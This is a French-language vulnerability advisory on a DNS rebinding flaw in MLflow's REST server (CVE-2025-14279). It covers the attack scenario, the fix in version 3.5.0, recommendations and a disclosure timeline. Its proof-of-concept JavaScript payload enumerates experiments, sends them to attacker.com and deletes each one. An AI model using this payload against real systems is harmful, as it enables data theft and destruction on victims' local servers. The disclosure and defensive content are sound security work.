Exfiltration et destruction de données dans MLflow par absence de validation de l'Origin (DNS rebinding)
Auteur : Evan Harris
Risque : Élevé (CVSS 8.1, CVE-2025-14279)
Composant concerné : serveur REST de MLflow (mlflow/mlflow), versions jusqu’à 3.4.0 incluse
En bref
Le serveur REST de MLflow ne validait ni l’en-tête Origin ni l’en-tête Host des requêtes entrantes, ce qui le laissait exposé au DNS rebinding. Une victime qui exécute mlflow server en local puis visite un site web malveillant peut voir son navigateur transformé en proxy atteignant l’interface de loopback, contournant ainsi la Same-Origin Policy. En l’absence d’authentification sur l’API REST, l’attaquant obtient un accès complet en lecture et en écriture : il peut énumérer les expériences, exfiltrer les données vers un hôte externe et supprimer purement et simplement les expériences. Le problème a reçu l’identifiant CVE-2025-14279 (CVSS 8.1, Élevé) et a été corrigé dans MLflow 3.5.0, qui ajoute la validation de l’en-tête Host et le blocage des requêtes cross-origin. Les utilisateurs devraient effectuer la mise à niveau vers la version 3.5.0 ou ultérieure.
D’autres outils traités sur ce site présentent la même faille : Vulnérabilité de DNS rebinding dans le transport SSE du Vet MCP Server et Le Neo4j MCP Cypher Server est vulnérable à une prise de contrôle de la base de données via DNS rebinding. Un problème distinct dans MLflow, divulgué le même jour, est traité dans Exécution de code à distance via la désérialisation des scorers GenAI dans MLflow.
Contexte
Le serveur de suivi de MLflow expose une API REST (généralement sur http://localhost:5000) que l’interface web et les bibliothèques clientes utilisent pour créer, rechercher, mettre à jour et supprimer des expériences et des exécutions. Par défaut, le serveur fonctionne sans authentification, en partant du principe que le liage à localhost le maintient privé.
Ce principe s’effondre face au DNS rebinding. La Same-Origin Policy du navigateur est censée empêcher une page servie depuis attacker.com de lire les réponses de localhost:5000, mais le rebinding la contourne en modifiant ce vers quoi un nom d’hôte se résout après le chargement de la page. Comme le serveur MLflow acceptait les requêtes sans vérifier leur provenance, tout site web visité par la victime pouvait piloter l’API locale.
Vue d’ensemble
%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
A[Victim visits attacker site
hostname resolves to attacker IP] --> B[Attacker serves JS payload
polling for MLflow on localhost:5000]
B --> C[Attacker DNS server rebinds
the hostname to 127.0.0.1
low TTL]
C --> D[Browser reuses the origin string
but fetch now hits the victim's
loopback interface]
D --> E[MLflow server does not validate
Origin or Host, so it accepts
the cross-origin request]
E --> F["Enumerate experiments
/api/2.0/mlflow/experiments/search"]
F --> G[Exfiltrate experiment data
to attacker.com]
F --> H["Delete experiments
/ajax-api/2.0/mlflow/experiments/delete"]
style A fill:#fff3e0
style B fill:#ffebee
style C fill:#ffebee
style D fill:#ffebee
style E fill:#fff9c4
style F fill:#fff9c4
style G fill:#ffcdd2
style H fill:#ffcdd2
Scénario d’attaque
- La victime clone MLflow et exécute le serveur en local avec la configuration par défaut (
mlflow server), générant au passage quelques expériences. - L’attaquant met en place un laboratoire de DNS rebinding, par exemple Singularity of Origin de NCC Group, et dépose la charge utile ci-dessous dans le répertoire des payloads du framework.
- La victime visite le site web de l’attaquant et reste sur la page assez longtemps (moins d’une minute) pour que le rebinding se produise.
- Le serveur DNS de l’attaquant résout d’abord le nom d’hôte vers sa propre IP afin que la charge utile se charge, puis répond aux requêtes suivantes par
127.0.0.1. Le navigateur réutilise le nom mis en cache, de sorte que les appelsfetchde la page basculent silencieusement verslocalhost:5000tout en conservant l’origine d’origine. - Comme le serveur MLflow n’effectue aucune validation d’Origin ni de Host, les requêtes aboutissent. L’attaquant énumère les expériences, envoie les données vers
attacker.comet supprime les expériences.
Preuve de concept
La charge utile ci-dessous s’enregistre auprès d’un framework de DNS rebinding. Elle identifie la cible comme un serveur MLflow, énumère les expériences via l’API REST non authentifiée, exfiltre les résultats vers un hôte contrôlé par l’attaquant, puis supprime chaque expérience. La preuve de concept originale est condensée ici à ses étapes fonctionnelles.
const MlFlow = () => {
let attackExecuted = false;
async function attack() {
if (attackExecuted) return;
const base = `http://${window.location.hostname}:5000`;
// Read access: enumerate experiments via the unauthenticated REST API
const searchResponse = await fetch(`${base}/api/2.0/mlflow/experiments/search`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ order_by: ["creation_time DESC"], max_results: 50 }),
});
const { experiments } = await searchResponse.json();
if (!experiments?.length) { attackExecuted = true; return; }
// Exfiltrate the experiment data to the attacker
fetch('https://attacker.com/messages', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ experimentData: experiments }),
});
// Write access: delete every experiment
for (const experiment of experiments) {
await fetch(`${base}/ajax-api/2.0/mlflow/experiments/delete`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ experiment_id: experiment.experiment_id }),
});
await new Promise(r => setTimeout(r, 500));
}
attackExecuted = true;
}
// Fingerprint the rebound target as an MLflow server before attacking
async function isService() {
const response = await fetch(`http://${window.location.hostname}:5000`);
const body = await response.text();
return body.includes('MLflow') || body.includes('Unable to display MLflow UI');
}
return { attack, isService };
};
// Register the payload with the DNS rebinding framework
Registry["MlFlow"] = MlFlow();
Impact
- Exfiltration de données : les métadonnées des expériences sont lues via
experiments/searchet envoyées vers un hôte contrôlé par l’attaquant. - Destruction de données : les expériences sont supprimées via
experiments/delete. - Manipulation de données : ce même accès en écriture non authentifié autorise des opérations de mise à jour sur les expériences.
- Aucun identifiant requis : l’attaque fonctionne contre un déploiement
mlflow serverpar défaut et nécessite seulement que la victime visite une page malveillante pendant que le serveur est en cours d’exécution.
Réponse de MLflow
Après que nous avons signalé le problème dans le cadre du processus de divulgation coordonnée de MLflow, les mainteneurs l’ont traité dans la pull request #17910.
Le correctif introduit pour le serveur une couche de middleware de sécurité qui :
- Valide l’en-tête
Hostpar rapport à une liste d’autorisation (localhost et plages d’IP privées par défaut) afin de bloquer le DNS rebinding. - Bloque les requêtes cross-origin modifiant l’état (POST, PUT, DELETE, PATCH) provenant d’origines autres que localhost.
- Ajoute des en-têtes de réponse défensifs (
X-Frame-Options: SAMEORIGIN,X-Content-Type-Options: nosniff).
Pour les déploiements ayant légitimement besoin d’un accès plus large, une nouvelle configuration est disponible, notamment --allowed-hosts (MLFLOW_SERVER_ALLOWED_HOSTS) et --cors-allowed-origins (MLFLOW_SERVER_CORS_ALLOWED_ORIGINS). Les protections ont été livrées dans MLflow 3.5.0, et le problème s’est vu attribuer par la suite CVE-2025-14279 (CVSS 8.1, Élevé ; CWE-346, Origin Validation Error).
Recommandations
Pour les utilisateurs finaux
- Effectuez la mise à niveau vers MLflow 3.5.0 ou une version ultérieure.
- Conservez les paramètres par défaut de
--allowed-hostset--cors-allowed-originssauf raison précise de les élargir, et ne désactivez jamais le middleware de sécurité sur un serveur exposé. - Ne liez pas le serveur MLflow à un réseau public ou non fiable, et placez une authentification ou un reverse proxy devant lui s’il doit être joignable au-delà de localhost.
- Considérez un serveur lié localement comme joignable depuis le navigateur : fermez ou isolez les instances MLflow locales lorsque vous naviguez sur des sites non fiables.
Chronologie
| Date | Événement |
|---|---|
| 22 septembre 2025 | Vulnérabilité signalée aux mainteneurs de MLflow via divulgation coordonnée (issue #17877) |
| 6 octobre 2025 | MLflow fusionne le correctif (PR #17910), publié dans la v3.5.0 |
| 12 janvier 2026 | CVE-2025-14279 publiée (CVSS 8.1, Élevé) |
| 8 juin 2026 | Divulgation publique |